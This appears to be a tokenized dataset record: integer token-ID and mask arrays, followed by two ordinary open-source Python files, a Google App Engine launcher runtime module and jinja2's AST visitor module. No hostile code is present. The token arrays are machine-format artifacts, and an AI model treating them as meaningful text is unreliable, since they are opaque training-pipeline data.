[ 9336, 642, 2559, 3509, 282, 298, 1176, 2, 859, 12, 642, 365, 1415, 641, 2018, 499, 14, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 646, 7554, 199, 646, 5890, 199, 646, 1059, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 3924, 492, 11897, 199, 504, 1639, 14, 1160, 492, 31534, 12, 27193, 199, 504, 1639, 14, 1208, 14, 1360, 492, 12303, 63, 3765, 199, 199, 504, 1275, 1095, 492, 3523, 8524, 199, 504, 1275, 1208, 492, 19213, 63, 1210, 63, 6395, 12, 19213, 63, 1418, 63, 6395, 421, 199, 533, 5458, 12672, 8, 1563, 8524, 304, 339, 1145, 63, 3475, 275, 283, 1160, 63, 5465, 7, 339, 347, 636, 826, 721, 277, 12, 1862, 304, 267, 1862, 275, 1862, 14, 1574, 342, 267, 1511, 275, 1862, 14, 1935, 360, 8808, 1959, 1574, 342, 267, 340, 1511, 26, 288, 746, 11897, 8, 355, 298, 5912, 1511, 26, 8352, 908, 11854, 3680, 904, 8, 1419, 1724, 267, 1613, 8, 4231, 12672, 12, 291, 2843, 826, 721, 1162, 9, 339, 347, 687, 63, 875, 8, 277, 12, 1978, 63, 600, 304, 267, 372, 5458, 8, 1160, 63, 600, 9, 339, 347, 664, 63, 1160, 8, 277, 12, 1978, 63, 354, 304, 267, 16416, 275, 942, 267, 367, 1978, 63, 493, 315, 291, 14, 1661, 63, 1160, 63, 10309, 8, 1160, 63, 354, 304, 288, 862, 26, 355, 543, 5890, 14, 1490, 8, 1160, 63, 493, 12, 2644, 29, 1751, 14, 3817, 63, 23969, 9, 465, 4090, 26, 490, 1978, 63, 600, 275, 4090, 14, 739, 342, 288, 871, 5925, 465, 325, 26, 355, 340, 325, 14, 7931, 508, 7554, 14, 20465, 26, 490, 16416, 14, 740, 1332, 717, 31534, 8, 1160, 63, 493, 12, 1978, 63, 354, 12, 291, 395, 717, 283, 2980, 1630, 440, 2187, 297, 490, 5082, 490, 1980, 355, 746, 953, 372, 5458, 8, 1160, 63, 600, 9, 398, 587, 26, 288, 746, 27193, 8, 1160, 63, 354, 12, 16416, 29, 599, 379, 12, 4865, 29, 277, 9, 421, 199, 533, 5458, 8, 875, 14, 4231, 304, 339, 347, 3795, 8, 277, 12, 1067, 29, 403, 12, 1056, 29, 403, 304, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 587, 26, 288, 1067, 275, 469, 75, 26, 12303, 63, 3765, 8, 86, 9, 367, 1022, 12, 373, 315, 1067, 14, 1744, 12737, 267, 340, 1056, 365, 440, 488, 26, 288, 1067, 459, 10088, 63, 1210, 418, 275, 19213, 63, 1210, 63, 6395, 8, 1069, 9, 288, 1067, 459, 10088, 63, 1418, 418, 275, 19213, 63, 1418, 63, 6395, 8, 1069, 9, 267, 372, 291, 14, 3489, 63, 20374, 8, 1100, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
westerhofffl/google-appengine-wx-launcher
launcher/runtime.py
24
5759
#!/usr/bin/env python # # Copyright 2008 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os import logging import wx import launcher class RuntimeException(launcher.Error): """Exceptional runtime condition.""" class Runtime(object): """Google App Engine runtime management. Example: - return a command to run the dev_appserver.py with a given project """ # error string if runtime not happy _REQ_FAIL_STRING = """ Warning: Prerequisites for App Engine development are missing! A valid python binary must be available. In addition, the App Engine SDK must be installed. Here are the current values we found: python = %s App Engine SDK root = %s Please install the missing pieces and restart the launcher. If these are installed but the Launcher failed to find them, you can configure their location by editing Launcher preferences. The Launcher preferences can be modified by selecting Edit > Preferences. """ def __init__(self, preferences=None): """Initialize a Runtime object. Args: preferences: An object with a dictionary 'get' interface for preferences (such as launcher.Preferences); created if None. """ self._preferences = preferences or launcher.Preferences() # The preferences object will use a default value if not set # when accessed with the __getitem__ interface. python = self._preferences[launcher.Preferences.PREF_PYTHON] appengine = self._preferences[launcher.Preferences.PREF_APPENGINE] if not python or not appengine: self._RequirementProblem(self._REQ_FAIL_STRING % (python, appengine)) else: self._ConfigureEnvironment() def _ConfigureEnvironment(self): """Configure the environment for future subprocesses.""" sdk_env_setting = self._GetSDKEnvironmentSetting() # APPCFG_SDK_NAME is read by appcfg.py os.putenv('APPCFG_SDK_NAME', sdk_env_setting) def _GetSDKEnvironmentSetting(self): """Return a brief string describing our SDK environment. Returns: a string suitable for setting in an environment variable, or '???'. """ sdk_version = '???' sdk_dir = self._preferences[launcher.Preferences.PREF_APPENGINE] if sdk_dir: sdk_version_file = os.path.join(sdk_dir, 'VERSION') try: words = open(sdk_version_file).readline().split() # version: "1.1.9" if len(words) == 2: sdk_version = words[1].replace('"', '') # 1.1.9 except IOError: pass sdk_env_setting = ('%s-launcher-%s' % (launcher.Platform().BriefPlatformName(), sdk_version)) return sdk_env_setting def _RequirementProblem(self, message): """Prerequisites are not available; warn user.""" logging.warning(message) def DevAppServerCommand(self, project, extra_flags=None, verify=True): """Build a command for running dev_appserver.py with the project. Args: project: the launcher.Project we want to run. extra_flags: List of extra command line flags to add to this command. verify: if True, verify paths exist. Only False in unit tests. Returns: A tuple of executable and args suitable for passing to subprocess.Popen(). Raises: RuntimeException: Problem validating the run command (e.g. no python). """ python_path = self._preferences[launcher.Preferences.PREF_PYTHON] my_sdkroot = self._preferences[launcher.Preferences.PREF_APPENGINE] if verify: if not (python_path and os.path.exists(python_path)): raise RuntimeException('Python interpreter %s not found.' % python_path) if not my_sdkroot: raise RuntimeException('App Engine SDK %s not found.' % my_sdkroot) dev_appserver = os.path.join(my_sdkroot, 'dev_appserver.py') if verify and not os.path.exists(dev_appserver): raise RuntimeException('App Engine program %s not found.' % dev_appserver) command = ([python_path, dev_appserver, '--admin_console_server=', '--port=%s' % project.port] + project.flags + (extra_flags or []) + [project.path]) return command def DeployCommand(self, project, authname, server=None): """Build a command for deploying (to Google) the project. Args: project: the launcher.Project we want to run. authname: the authorization name (e.g. fred@gmail.com) server: the server to deploy to. If None, do not specify one explicitly on the command line. Returns: A tuple of executable and args suitable for passing to subprocess.Popen(). On error (e.g. no SDK root), return None. """ python_path = self._preferences[launcher.Preferences.PREF_PYTHON] sdk_root_path = self._preferences[launcher.Preferences.PREF_APPENGINE] if not python_path or not sdk_root_path: return None command = [python_path, os.path.join(sdk_root_path, 'appcfg.py'), '--no_cookies', '--email=%s' % authname, '--passin'] if server: command.append('--server=%s' % server) command += ('update', project.path) return command
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 9079, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 747, 199, 646, 2050, 199, 646, 4818, 199, 646, 28757, 199, 199, 533, 19103, 1726, 8, 27326, 14, 547, 304, 523, 408, 1726, 279, 8836, 5558, 1041, 199, 199, 533, 19103, 8, 785, 304, 523, 408, 13266, 4693, 12580, 8836, 10041, 14, 819, 5679, 26, 272, 446, 372, 282, 1414, 370, 1255, 314, 4866, 63, 571, 1000, 14, 647, 543, 282, 1627, 2199, 523, 408, 819, 327, 1125, 1059, 340, 8836, 440, 394, 18869, 523, 485, 14583, 63, 8784, 63, 5353, 275, 408, 523, 15902, 26, 5543, 30140, 367, 4693, 12580, 16367, 787, 4124, 1, 819, 437, 1686, 2366, 3366, 1471, 506, 2808, 14, 221, 1010, 10234, 12, 523, 314, 4693, 12580, 15610, 1471, 506, 4903, 14, 221, 11842, 787, 314, 1453, 523, 1338, 781, 1911, 26, 339, 2366, 275, 450, 83, 272, 4693, 12580, 15610, 1738, 275, 450, 83, 819, 7754, 3907, 314, 4124, 10338, 436, 11004, 314, 28757, 14, 523, 982, 3520, 787, 4903, 1325, 314, 23615, 281, 3405, 370, 2342, 3062, 12, 523, 1265, 883, 7908, 3932, 2909, 701, 20401, 23615, 281, 23453, 14, 819, 710, 23615, 281, 23453, 883, 506, 6042, 701, 30090, 16407, 690, 5543, 4023, 14, 523, 408, 819, 347, 636, 826, 721, 277, 12, 23453, 29, 403, 304, 272, 408, 9345, 282, 19103, 909, 14, 339, 3033, 26, 489, 23453, 26, 1626, 909, 543, 282, 2600, 283, 362, 7, 3217, 267, 367, 23453, 334, 10180, 465, 28757, 14, 30772, 2736, 2737, 340, 488, 14, 272, 408, 272, 291, 423, 18063, 275, 23453, 503, 28757, 14, 30772, 342, 272, 327, 710, 23453, 909, 911, 675, 282, 849, 574, 340, 440, 663, 272, 327, 1380, 13810, 543, 314, 636, 6095, 363, 3217, 14, 272, 2366, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 11720, 61, 272, 1145, 3908, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 7121, 15956, 61, 272, 340, 440, 2366, 503, 440, 1145, 3908, 26, 489, 291, 423, 17947, 16467, 8, 277, 423, 14583, 63, 8784, 63, 5353, 450, 334, 1548, 12, 1145, 3908, 430, 272, 587, 26, 489, 291, 423, 17324, 8263, 342, 819, 347, 485, 17324, 8263, 8, 277, 304, 272, 408, 17324, 314, 3734, 367, 6466, 1007, 11816, 1041, 272, 13628, 63, 1813, 63, 6031, 275, 291, 423, 1002, 14939, 8263, 7776, 342, 272, 327, 10319, 4222, 27453, 63, 14939, 63, 2339, 365, 1586, 701, 1145, 4128, 14, 647, 272, 747, 14, 3165, 9072, 360, 1282, 4222, 27453, 63, 14939, 63, 2339, 297, 13628, 63, 1813, 63, 6031, 9, 819, 347, 485, 1002, 14939, 8263, 7776, 8, 277, 304, 272, 408, 1767, 282, 29226, 1059, 13660, 4154, 15610, 3734, 14, 339, 1803, 26, 489, 282, 1059, 11233, 367, 4260, 315, 376, 3734, 1750, 12, 503, 8720, 10674, 1370, 272, 408, 272, 13628, 63, 1023, 275, 8720, 10674, 7, 272, 13628, 63, 694, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 7121, 15956, 61, 272, 340, 13628, 63, 694, 26, 489, 13628, 63, 1023, 63, 493, 275, 747, 14, 515, 14, 904, 8, 9277, 63, 694, 12, 283, 4612, 358, 489, 862, 26, 267, 5932, 275, 1551, 8, 9277, 63, 1023, 63, 493, 680, 6407, 1252, 1294, 342, 221, 327, 1015, 26, 298, 17, 14, 17, 14, 25, 2, 267, 340, 822, 8, 3148, 9, 508, 499, 26, 881, 13628, 63, 1023, 275, 5932, 59, 17, 1055, 1814, 20630, 4074, 221, 327, 413, 14, 17, 14, 25, 489, 871, 5925, 26, 267, 986, 272, 13628, 63, 1813, 63, 6031, 275, 16651, 83, 13, 27326, 3295, 83, 7, 450, 2432, 334, 27326, 14, 10397, 1252, 34, 322, 2829, 10397, 985, 1062, 717, 13628, 63, 1023, 430, 272, 372, 13628, 63, 1813, 63, 6031, 8330, 347, 485, 17947, 16467, 8, 277, 12, 1245, 304, 272, 408, 2398, 30140, 787, 440, 2808, 27, 7987, 922, 1041, 272, 2050, 14, 3764, 8, 1188, 9, 819, 347, 29314, 2640, 3120, 3110, 8, 277, 12, 2199, 12, 2402, 63, 2469, 29, 403, 12, 4911, 29, 549, 304, 272, 408, 3425, 282, 1414, 367, 3879, 4866, 63, 571, 1000, 14, 647, 543, 314, 2199, 14, 339, 3033, 26, 489, 2199, 26, 314, 28757, 14, 4761, 781, 2934, 370, 1255, 14, 489, 2402, 63, 2469, 26, 3820, 402, 2402, 1414, 1004, 3285, 370, 1050, 370, 642, 1414, 14, 489, 4911, 26, 340, 715, 12, 4911, 3792, 2187, 14, 221, 5972, 756, 315, 4137, 2295, 14, 272, 1803, 26, 489, 437, 2008, 402, 7286, 436, 1249, 11233, 367, 9476, 370, 3873, 14, 7942, 1252, 272, 6218, 26, 489, 19103, 1726, 26, 20980, 1686, 1958, 314, 1255, 1414, 334, 69, 14, 71, 14, 949, 2366, 680, 272, 408, 272, 2366, 63, 515, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 11720, 61, 272, 3002, 63, 9277, 1231, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 7121, 15956, 61, 272, 340, 4911, 26, 489, 340, 440, 334, 1548, 63, 515, 436, 747, 14, 515, 14, 2444, 8, 1548, 63, 515, 2298, 267, 746, 19103, 1726, 360, 4718, 12693, 450, 83, 440, 1911, 3530, 450, 2366, 63, 515, 9, 489, 340, 440, 3002, 63, 9277, 1231, 26, 267, 746, 19103, 1726, 360, 2640, 12580, 15610, 450, 83, 440, 1911, 3530, 450, 3002, 63, 9277 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 9079, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 747, 199, 646, 2050, 199, 646, 4818, 199, 646, 28757, 199, 199, 533, 19103, 1726, 8, 27326, 14, 547, 304, 523, 408, 1726, 279, 8836, 5558, 1041, 199, 199, 533, 19103, 8, 785, 304, 523, 408, 13266, 4693, 12580, 8836, 10041, 14, 819, 5679, 26, 272, 446, 372, 282, 1414, 370, 1255, 314, 4866, 63, 571, 1000, 14, 647, 543, 282, 1627, 2199, 523, 408, 819, 327, 1125, 1059, 340, 8836, 440, 394, 18869, 523, 485, 14583, 63, 8784, 63, 5353, 275, 408, 523, 15902, 26, 5543, 30140, 367, 4693, 12580, 16367, 787, 4124, 1, 819, 437, 1686, 2366, 3366, 1471, 506, 2808, 14, 221, 1010, 10234, 12, 523, 314, 4693, 12580, 15610, 1471, 506, 4903, 14, 221, 11842, 787, 314, 1453, 523, 1338, 781, 1911, 26, 339, 2366, 275, 450, 83, 272, 4693, 12580, 15610, 1738, 275, 450, 83, 819, 7754, 3907, 314, 4124, 10338, 436, 11004, 314, 28757, 14, 523, 982, 3520, 787, 4903, 1325, 314, 23615, 281, 3405, 370, 2342, 3062, 12, 523, 1265, 883, 7908, 3932, 2909, 701, 20401, 23615, 281, 23453, 14, 819, 710, 23615, 281, 23453, 883, 506, 6042, 701, 30090, 16407, 690, 5543, 4023, 14, 523, 408, 819, 347, 636, 826, 721, 277, 12, 23453, 29, 403, 304, 272, 408, 9345, 282, 19103, 909, 14, 339, 3033, 26, 489, 23453, 26, 1626, 909, 543, 282, 2600, 283, 362, 7, 3217, 267, 367, 23453, 334, 10180, 465, 28757, 14, 30772, 2736, 2737, 340, 488, 14, 272, 408, 272, 291, 423, 18063, 275, 23453, 503, 28757, 14, 30772, 342, 272, 327, 710, 23453, 909, 911, 675, 282, 849, 574, 340, 440, 663, 272, 327, 1380, 13810, 543, 314, 636, 6095, 363, 3217, 14, 272, 2366, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 11720, 61, 272, 1145, 3908, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 7121, 15956, 61, 272, 340, 440, 2366, 503, 440, 1145, 3908, 26, 489, 291, 423, 17947, 16467, 8, 277, 423, 14583, 63, 8784, 63, 5353, 450, 334, 1548, 12, 1145, 3908, 430, 272, 587, 26, 489, 291, 423, 17324, 8263, 342, 819, 347, 485, 17324, 8263, 8, 277, 304, 272, 408, 17324, 314, 3734, 367, 6466, 1007, 11816, 1041, 272, 13628, 63, 1813, 63, 6031, 275, 291, 423, 1002, 14939, 8263, 7776, 342, 272, 327, 10319, 4222, 27453, 63, 14939, 63, 2339, 365, 1586, 701, 1145, 4128, 14, 647, 272, 747, 14, 3165, 9072, 360, 1282, 4222, 27453, 63, 14939, 63, 2339, 297, 13628, 63, 1813, 63, 6031, 9, 819, 347, 485, 1002, 14939, 8263, 7776, 8, 277, 304, 272, 408, 1767, 282, 29226, 1059, 13660, 4154, 15610, 3734, 14, 339, 1803, 26, 489, 282, 1059, 11233, 367, 4260, 315, 376, 3734, 1750, 12, 503, 8720, 10674, 1370, 272, 408, 272, 13628, 63, 1023, 275, 8720, 10674, 7, 272, 13628, 63, 694, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 7121, 15956, 61, 272, 340, 13628, 63, 694, 26, 489, 13628, 63, 1023, 63, 493, 275, 747, 14, 515, 14, 904, 8, 9277, 63, 694, 12, 283, 4612, 358, 489, 862, 26, 267, 5932, 275, 1551, 8, 9277, 63, 1023, 63, 493, 680, 6407, 1252, 1294, 342, 221, 327, 1015, 26, 298, 17, 14, 17, 14, 25, 2, 267, 340, 822, 8, 3148, 9, 508, 499, 26, 881, 13628, 63, 1023, 275, 5932, 59, 17, 1055, 1814, 20630, 4074, 221, 327, 413, 14, 17, 14, 25, 489, 871, 5925, 26, 267, 986, 272, 13628, 63, 1813, 63, 6031, 275, 16651, 83, 13, 27326, 3295, 83, 7, 450, 2432, 334, 27326, 14, 10397, 1252, 34, 322, 2829, 10397, 985, 1062, 717, 13628, 63, 1023, 430, 272, 372, 13628, 63, 1813, 63, 6031, 8330, 347, 485, 17947, 16467, 8, 277, 12, 1245, 304, 272, 408, 2398, 30140, 787, 440, 2808, 27, 7987, 922, 1041, 272, 2050, 14, 3764, 8, 1188, 9, 819, 347, 29314, 2640, 3120, 3110, 8, 277, 12, 2199, 12, 2402, 63, 2469, 29, 403, 12, 4911, 29, 549, 304, 272, 408, 3425, 282, 1414, 367, 3879, 4866, 63, 571, 1000, 14, 647, 543, 314, 2199, 14, 339, 3033, 26, 489, 2199, 26, 314, 28757, 14, 4761, 781, 2934, 370, 1255, 14, 489, 2402, 63, 2469, 26, 3820, 402, 2402, 1414, 1004, 3285, 370, 1050, 370, 642, 1414, 14, 489, 4911, 26, 340, 715, 12, 4911, 3792, 2187, 14, 221, 5972, 756, 315, 4137, 2295, 14, 272, 1803, 26, 489, 437, 2008, 402, 7286, 436, 1249, 11233, 367, 9476, 370, 3873, 14, 7942, 1252, 272, 6218, 26, 489, 19103, 1726, 26, 20980, 1686, 1958, 314, 1255, 1414, 334, 69, 14, 71, 14, 949, 2366, 680, 272, 408, 272, 2366, 63, 515, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 11720, 61, 272, 3002, 63, 9277, 1231, 275, 291, 423, 18063, 59, 27326, 14, 30772, 14, 4225, 38, 63, 7121, 15956, 61, 272, 340, 4911, 26, 489, 340, 440, 334, 1548, 63, 515, 436, 747, 14, 515, 14, 2444, 8, 1548, 63, 515, 2298, 267, 746, 19103, 1726, 360, 4718, 12693, 450, 83, 440, 1911, 3530, 450, 2366, 63, 515, 9, 489, 340, 440, 3002, 63, 9277, 1231, 26, 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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
bright-sparks/chromium-spacewalk
third_party/jinja2/visitor.py
1401
3316
# -*- coding: utf-8 -*- """ jinja2.visitor ~~~~~~~~~~~~~~ This module implements a visitor for the nodes. :copyright: (c) 2010 by the Jinja Team. :license: BSD. """ from jinja2.nodes import Node class NodeVisitor(object): """Walks the abstract syntax tree and call visitor functions for every node found. The visitor functions may return values which will be forwarded by the `visit` method. Per default the visitor functions for the nodes are ``'visit_'`` + class name of the node. So a `TryFinally` node visit function would be `visit_TryFinally`. This behavior can be changed by overriding the `get_visitor` function. If no visitor function exists for a node (return value `None`) the `generic_visit` visitor is used instead. """ def get_visitor(self, node): """Return the visitor function for this node or `None` if no visitor exists for this node. In that case the generic visit function is used instead. """ method = 'visit_' + node.__class__.__name__ return getattr(self, method, None) def visit(self, node, *args, **kwargs): """Visit a node.""" f = self.get_visitor(node) if f is not None: return f(node, *args, **kwargs) return self.generic_visit(node, *args, **kwargs) def generic_visit(self, node, *args, **kwargs): """Called if no explicit visitor function exists for a node.""" for node in node.iter_child_nodes(): self.visit(node, *args, **kwargs) class NodeTransformer(NodeVisitor): """Walks the abstract syntax tree and allows modifications of nodes. The `NodeTransformer` will walk the AST and use the return value of the visitor functions to replace or remove the old node. If the return value of the visitor function is `None` the node will be removed from the previous location otherwise it's replaced with the return value. The return value may be the original node in which case no replacement takes place. """ def generic_visit(self, node, *args, **kwargs): for field, old_value in node.iter_fields(): if isinstance(old_value, list): new_values = [] for value in old_value: if isinstance(value, Node): value = self.visit(value, *args, **kwargs) if value is None: continue elif not isinstance(value, Node): new_values.extend(value) continue new_values.append(value) old_value[:] = new_values elif isinstance(old_value, Node): new_node = self.visit(old_value, *args, **kwargs) if new_node is None: delattr(node, field) else: setattr(node, field, new_node) return node def visit_list(self, node, *args, **kwargs): """As transformers may return lists in some places this method can be used to enforce a list as return value. """ rv = self.visit(node, *args, **kwargs) if not isinstance(rv, list): rv = [rv] return rv
bsd-3-clause
